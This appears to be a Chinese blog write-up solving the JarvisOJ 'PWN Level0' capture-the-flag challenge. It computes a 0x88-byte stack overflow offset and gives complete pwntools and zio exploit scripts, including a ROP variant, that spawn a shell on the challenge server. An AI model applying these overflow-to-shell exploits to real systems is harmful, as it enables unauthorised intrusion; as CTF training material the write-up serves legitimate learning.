JarvisOJ-PWN-Level0
2018-03-15 18:07
936 查看
JarvisOJ-PWN-Level0
IDA打开分析。在Export找到这两个关键函数。
先双击进入main
关键函数在vulnerable_function(),继续跟进。
可以看出read函数是把标准输入的200位的写入buf中。
再看buf:
低位:
高位:
所以buf的首地址到返回地址共=(+0x0000000000000008) - (-0x0000000000000080)=0x88。
200>88,促发栈溢出漏洞。
关于栈溢出漏洞的详情可以看这个:
https://www.cnblogs.com/dwlsxj/p/StackOverflow.html
然后我们在Export打开callsystem
F5知道这个函数就是执行system(“/bin/sh”)。
所以前面栈溢出的位置可以直接跳到这个函数。
也就是0x400596,小端序为 : \x96\x05\x40\x00
所以,可以构造payload=0x88*’a’+”\x96\x05\x40\x00”
所以,代码为:
from pwn import* r=remote('pwn2.jarvisoj.com','9881') pad='a'*0x88 add=p64(0x400596)#等价于"\x96\x05\x40\x00" payload=pad+add r.send(payload) r.interactive()
或者用zio:
from zio import * sh = zio(('pwn2.jarvisoj.com', 9881))#这里注意括号 padding = "A"*0x88 addr = l64(0x400596) shellcode = padding + addr sh.write(shellcode) sh.interact()
如果不知道callsystem也行。
看了下大佬的:
from pwn import * level0 = ELF(' 4000 ./level0') systemplt = level0.plt['system'] print hex(systemplt) system = 0x400460 #0x0000000000400663 pop edi ret sh = remote('pwn2.jarvisoj.com', 9881) padding = "A"*0x88 addr = p64(0x400663) argv = p64(0x400684)# /bin/sh shellcode = padding + addr + argv +p64(system) sh.send(shellcode) sh.interactive()
相关文章推荐
- JarvisOJ-PWN-Level2
- Pwnie Express-PwnPad用户手册的中文翻译
- HackPwn2015:IoT智能硬件安全威胁分析
- ZCTF2015 pwn试题分析
- PWN练习之环境变量继承
- 33c3-pwn350-tea
- 0ctf 2017 kernel pwn knote write up
- ISCC2017 pwn 200 —— 字符串格式化漏洞
- PWN学习之[Rookiss]-[echo1]
- 171207 逆向-JarvisOJ(病毒数据分析)(2)
- pwn jarvis itemboard writeup
- jarvisoj_web_witerup
- 搭建一道PWN题
- ISCC2014--pwn
- ZCTF-Pwn
- 【SCTF&&CCTF 2016】 PWN_WRITEUP
- CTF-PWN练习之执行Shellcode
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
- xdctf-pwn200
- CTF-PWN之fsp-utilize漏洞利用